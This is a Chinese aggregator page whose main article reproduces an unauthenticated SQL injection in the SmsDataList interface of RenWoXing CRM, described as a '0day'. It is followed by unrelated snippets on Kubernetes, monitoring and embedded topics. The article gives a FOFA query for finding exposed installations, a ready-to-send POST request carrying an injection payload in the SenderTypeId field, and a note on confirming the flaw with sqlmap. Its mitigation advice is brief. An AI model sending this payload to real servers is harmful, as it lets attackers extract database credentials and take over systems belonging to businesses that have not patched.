当前位置： 首页 > news >正文

任我行 CRM SQL注入漏洞复现（HW0day）

news 2026/4/15 3:47:26

0x01 产品简介

    任我行CRM（Customer Relationship Management）是一款专业的企业级CRM软件，旨在帮助企业有效管理客户关系、提升销售效率和提供个性化的客户服务。

0x02 漏洞概述

   任我行 CRM SmsDataList 接口处存在SQL注入漏洞，未经身份认证的攻击者可通过该漏洞获取数据库敏感信息及凭证，最终可能导致服务器失陷。

0x03 复现环境

FOFA："欢迎使用任我行CRM"

0x04 漏洞复现

PoC

POST /SMS/SmsDataList/?pageIndex=1&pageSize=30 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: your-ipKeywords=&StartSendDate=2020-06-17&EndSendDate=2020-09-17&SenderTypeId=0000000000'and 1=convert(int,(sys.fn_sqlvarbasetostr(HASHBYTES('MD5','123456')))) AND 'CvNI'='CvNI

 

sqlmap验证 

 0x05 修复建议

临时缓解方案

限制访问来源地址，如非必要，不要将系统开放在互联网上。

升级修复方案

升级至安全版本或打补丁！

相关文章：

任我行 CRM SQL注入漏洞复现（HW0day）

0x01 产品简介 任我行CRM（Customer Relationship Management）是一款专业的企业级CRM软件，旨在帮助企业有效管理客户关系、提升销售效率和提供个性化的客户服务。 0x02 漏洞概述 任我行 CRM SmsDataList 接口处存在SQL注入漏洞，未…...

编程日记 2023/8/14 1:15:58

[CKA]考试之集群故障排查 – kubelet故障

由于最新的CKA考试改版，不允许存储书签，本博客致力怎么一步步从官网把答案找到，如何修改把题做对，下面开始我们的 CKA之旅 题目为： Task 一个名为wk8s-node-0的节点状态为NotReady，让其他恢复至正常状态…...

编程日记 2023/8/14 1:14:56

VBA技术资料MF42：VBA_从Excel中上面的单元格复制公式

【分享成果，随喜正能量】唯有梦想才配让你不安，唯有行动才能解除你的不安.绳锯木断，水滴石穿。也许你现在做的事情很小，只要你能日积月累的坚持下去，才会发现意义非凡。所谓的成功，便是别人失败的时候你还在…...

编程日记 2023/8/14 1:13:53

ORB-SLAM2第一节---单目地图初始化

单目初始化 1.前提条件（640*480） 参与初始化的两帧各自的特征点数目都需要大于100.两帧特征点成功匹配的数目需要大于或等于100.两帧特征点三角化成功的三维点数目需要大于50. 2.针对条件三 流程如下 记录当前帧和参考帧（第一帧&#xff…...

编程日记 2023/8/14 1:12:51

Postman 汉化及下载

Postman 是一款常用的 API 测试工具，可以方便地进行接口测试、调试和文档编写。本文将详细介绍如何下载安装 Postman 并汉化，包括每个步骤的详细说明。 下载安装 Postman 1、打开浏览器，访问 Postman 官网，下载适用于自己系统的…...

编程日记 2023/8/14 1:11:50

【运维】Zabbix简介及其应用领域

文章目录 1. Zabbix的背景与起源1.1. 监控工具的重要性为什么企业和个人需要监控工具？常见的监控挑战与需求 1.2. Zabbix的诞生背景Zabbix的发展历程Zabbix与其他监控工具的对比 2. Zabbix的核心功能2.1. 数据收集支持的数据收集方法数据的存储与历史记录 2.2. 可视…...

编程日记 2023/8/14 1:10:48

vue 设置了表单验证的el-input，在触发验证后无法继续输入的问题解决

问题表现 在项目中碰到的问题&#xff0c;说是input框出现验证提示后&#xff0c;该框就无法输入新的数据了 下面是我的代码&#xff1a; // dom结构 <el-form ref"addForm" :rules"addFormRules" :model"addForm" label-width"100px&…...

编程日记 2023/8/14 1:09:46

基于smardaten无代码开发智能巡检系统，让无人机飞得更准

目录 引言需求背景搭建思路开发过程&#xff08;1&#xff09;无人机设备数据接入&#xff08;2&#xff09;无人机巡检任务管理&#xff08;3&#xff09;无人机三维防控监视&#xff08;4&#xff09;运防一体化大屏设计&#xff08;5&#xff09;异常告警管理&#xff08;6&…...

编程日记 2023/8/14 1:08:45

51项目——智能垃圾桶

51项目——智能垃圾桶 文章目录 51项目——智能垃圾桶项目需求项目材料（实物图可以百度看一看）接线实战编写部分代码(需要打包好的代码可以私我)效果视频结束项目需求 人靠近，垃圾桶开盖，投放垃圾，人离开，垃圾桶自动关盖。 并屏幕显示距离，和垃圾桶开关的状态。 项目材…...

编程日记 2023/8/14 1:07:44

HCIP——堆叠技术

堆叠 一、简介二、堆叠的优势1、提高可靠性2、简化组网3、简化管理4、强大的网络拓展能力 三、堆叠的方式1、堆叠卡堆叠2、业务口堆叠 四、堆叠的原理1、角色2、单机堆叠3、堆叠ID4、堆叠的优先级5、堆叠的建立过程 五、堆叠的配置 一、简介 堆叠技术 — 可以将多台真是得物理…...

编程日记 2023/8/14 1:06:43

芯片工程师求职题目之CPU篇(3)

1. 什么是cache(缓存)&#xff1f;它的工作原理是什么&#xff1f; Cache是少量的快速内存。它位于主存储器和中央处理器之间。每当CPU请求memory位置的内容时&#xff0c;首先检查cache中是否有此数据。如果数据存在于cache中&#xff0c;CPU直接从cache中获得数据。这是更快…...

编程日记 2023/8/14 1:05:40

Grounding dino + segment anything + stable diffusion 实现图片编辑

目录 总体介绍总体流程 模块介绍目标检测&#xff1a; grounding dino目标分割&#xff1a;Segment Anything Model (SAM)整体思路模型结构&#xff1a;数据引擎 图片绘制 集成样例 其他问题附录 总体介绍 总体流程 本方案用到了三个步骤&#xff0c;按顺序依次为&#xff1a…...

编程日记 2023/8/14 1:04:39

如何选择更快更稳定的存储服务器

选择更快、更稳定的存储服务器需要考虑以下几个方面&#xff1a; 存储介质&#xff1a;存储服务器的主要存储介质包括固态硬盘&#xff08;SSD&#xff09;和机械硬盘&#xff08;HDD&#xff09;。相比于机械硬盘&#xff0c;固态硬盘具有更高的读写速度和更低的延迟&#xf…...

编程日记 2023/8/14 1:03:38

此芯科技加入 openKylin 开源社区

导读近日消息&#xff0c;据此芯科技官方公众号表示&#xff0c;此芯科技目前已经签署 openKylin 社区 CLA&#xff08;Contributor License Agreement 贡献者许可协议&#xff09;&#xff0c;正式加入 openKylin 开源社区。 此芯科技成立于 2021 年&#xff0c;是一家专注于设…...

编程日记 2023/8/14 1:02:36

开发一个RISC-V上的操作系统（七）—— 硬件定时器（Hardware Timer）

目录 往期文章传送门 一、硬件定时器 硬件实现 软件实现 二、上板测试 往期文章传送门 开发一个RISC-V上的操作系统&#xff08;一&#xff09;—— 环境搭建_riscv开发环境_Patarw_Li的博客-CSDN博客 开发一个RISC-V上的操作系统&#xff08;二&#xff09;—— 系统引导…...

编程日记 2023/8/14 1:01:35

电池的正极是带正电？

首先说明结论&#xff1a;电池正极带正电&#xff0c;负极带负电。 一个错误的实例&#xff1a; 如果说电流是从电池正极流动到电池负极&#xff0c;那么电子就是从负极流动到正极&#xff0c;那么正极就是带负电。----这个说法是错误的。这是因为&#xff0c;根据那么很出名…...

编程日记 2023/8/14 1:00:34

Go 协程为什么比进程和线程占用的系统资源低？

1 介绍 进程是一个程序在执行时所占据的独立虚拟内存空间&#xff0c;Linux为每个进程分配一个虚拟内存空间&#xff0c;包括栈、未使用的内存、堆、BSS、DATA和TEXT等。 线程可以看作是轻量级的进程&#xff0c;多个线程在一个进程中“共生”&#xff0c;每个线程拥有独立的…...

编程日记 2023/8/14 0:59:34

性能测试—Jmeter工具

文章目录 性能测试1. 术语介绍2. 方法3. 应用场景4. 工具&#xff08;Jmeter&#xff09;4.1 介绍4.2 元件和组件4.2.2 元件4.2.1 组件 4.3 作用域4.4 参数化4.5 执行脚本 性能测试 1. 术语介绍 响应时间(Response time)&#xff1a;对请求作出响应所需要的时间。 在互联网上对…...

编程日记 2023/8/14 0:58:32

【分布式系统】聊聊高性能设计

每个程序员都应该知道的数字 高性能 对于以上的数字&#xff0c;其实每个程序员都应该了解&#xff0c;因为只有了解这些基本的数字&#xff0c;才能知道对于CPU、内存、磁盘、网络之间数据读写的时间。1000ms 1S。毫秒->微秒->纳秒-秒->分钟 为什么高性能如此重要的…...

编程日记 2023/8/14 0:57:32

自动驾驶数据集汇总

1.Nuscenes 数据集链接&#xff1a;nuScenes nuscenes数据集下有多个任务&#xff0c;涉及Detection&#xff08;2D/3D&#xff09;、Tracking、prediction、激光雷达分割、全景任务、规划控制等多个任务&#xff1b; nuScenes数据集是一个具有三维目标注释的大型自动驾驶数…...

编程日记 2023/8/14 0:56:30

第5章，[标签 Win32] ：GDI 的其他方面的分类

专栏导航 上一篇&#xff1a;第5章&#xff0c;[标签 Win32] &#xff1a;GDI 的基本图形 回到目录 下一篇&#xff1a;无 本节前言 对于本节所讲解的知识&#xff0c;有可能&#xff0c;你会需要时不时地参考本专栏的其它文章。真的遇到了需要参考之前的文章的知识点&…...

编程新知 2026/4/15 3:37:16

当AI搜索引擎开始替用户做消费决策，品牌的媒介宣发逻辑也正在被彻底改写

去年年底&#xff0c;联合利华CEO在内部会上说了句话&#xff0c;传出来后不少品牌人都在转。他说“懒惰营销的时代已经结束了”&#xff0c;一年只拍几条广告、围绕几个新品做营销的传统打法&#xff0c;已经彻底失效。这话放在2026年的媒介宣发语境下&#xff0c;几乎是一份判…...

编程新知 2026/4/15 3:28:59

自学网络安全第十二天

#CtrlC强制停止#Ctrld退出或登出#历史命令搜索可以通过history命令&#xff0c;查看历史输入过的命令可以通过&#xff1a;&#xff01;命令前缀&#xff0c;自动执行上一次匹配前缀的命令可以通过&#xff1a;ctrl r&#xff0c;输入内容去匹配历史命令。&#xff08;我觉得&…...

编程新知 2026/4/15 3:12:27

别再被‘ANOMALY: meaningless REX prefix’弹窗搞懵了！手把手教你排查Python环境、杀软和系统监控的锅

解码"ANOMALY: meaningless REX prefix"&#xff1a;从Python环境到系统监控的全链路排查指南 当你正在Windows终端中专注地执行命令&#xff0c;突然弹出一个令人困惑的警告——"ANOMALY: meaningless REX prefix used"。这个看似晦涩的错误不仅打断了你的…...

编程新知 2026/4/15 2:43:52

从GLORYS12数据到npy文件：手把手教你为‘羲和’大模型准备自定义输入数据

从GLORYS12数据到npy文件&#xff1a;为‘羲和’大模型定制数据预处理全流程实战 海洋科研领域正迎来AI驱动的变革浪潮&#xff0c;而数据预处理环节往往成为阻碍研究落地的"最后一公里"。本文将聚焦GLORYS12和GHRSST数据集&#xff0c;手把手演示如何将原始NetCDF文…...

编程新知 2026/4/15 2:19:34

DearPyGui内置的‘开发者工具箱’有多强？手把手教你用Style Editor和Metrics打造专属UI

DearPyGui开发者工具箱实战&#xff1a;用Style Editor和Metrics打造高效UI工作流 第一次在项目中使用DearPyGui时&#xff0c;我被它流畅的GPU渲染效果所吸引&#xff0c;但真正让我决定长期投入的&#xff0c;却是它那些藏在角落里的开发者工具。记得当时为了调整一个按钮的颜…...

编程新知 2026/4/15 1:29:56

SenseVoice-small-onnx语音识别实战：为老年群体设计大字体高对比度Gradio语音助手

SenseVoice-small-onnx语音识别实战&#xff1a;为老年群体设计大字体高对比度Gradio语音助手 你有没有想过&#xff0c;当家里的长辈想用手机发条语音消息&#xff0c;或者想问问天气&#xff0c;却因为看不清屏幕上的小字、分不清复杂的按钮而放弃&#xff1f;这可能是很多老…...

编程新知 2026/4/15 0:52:14

Selfie有界模型检查器Beator：BTOR2模型生成与分析完全指南

Selfie有界模型检查器Beator&#xff1a;BTOR2模型生成与分析完全指南 【免费下载链接】selfie An educational software system of a tiny self-compiling C compiler, a tiny self-executing RISC-V emulator, and a tiny self-hosting RISC-V hypervisor. 项目地址: https…...

编程新知 2026/4/14 21:33:06

Sogi锁相环代码及相关资料文档：电赛电源类重要参考，必备知识库

sogi锁相环代码资料文档。 电赛电源类必备。搞电源设计的兄弟对SOGI锁相环应该都不陌生。这玩意儿在逆变器、并网控制里简直是常驻嘉宾&#xff0c;尤其是电赛里头的数字锁相需求&#xff0c;传统模拟方案早就不够用了。今天咱们直接上干货&#xff0c;聊聊怎么用代码实现这个核…...

编程新知 2026/4/14 20:50:15

为什么你的Mac需要Topit？揭秘40%效率提升的秘密武器

为什么你的Mac需要Topit&#xff1f;揭秘40%效率提升的秘密武器 【免费下载链接】Topit Pin any window to the top of your screen / 在Mac上将你的任何窗口强制置顶 项目地址: https://gitcode.com/gh_mirrors/to/Topit 你是否曾经在写代码时频繁切换窗口查看文档&…...

编程新知 2026/4/14 20:20:57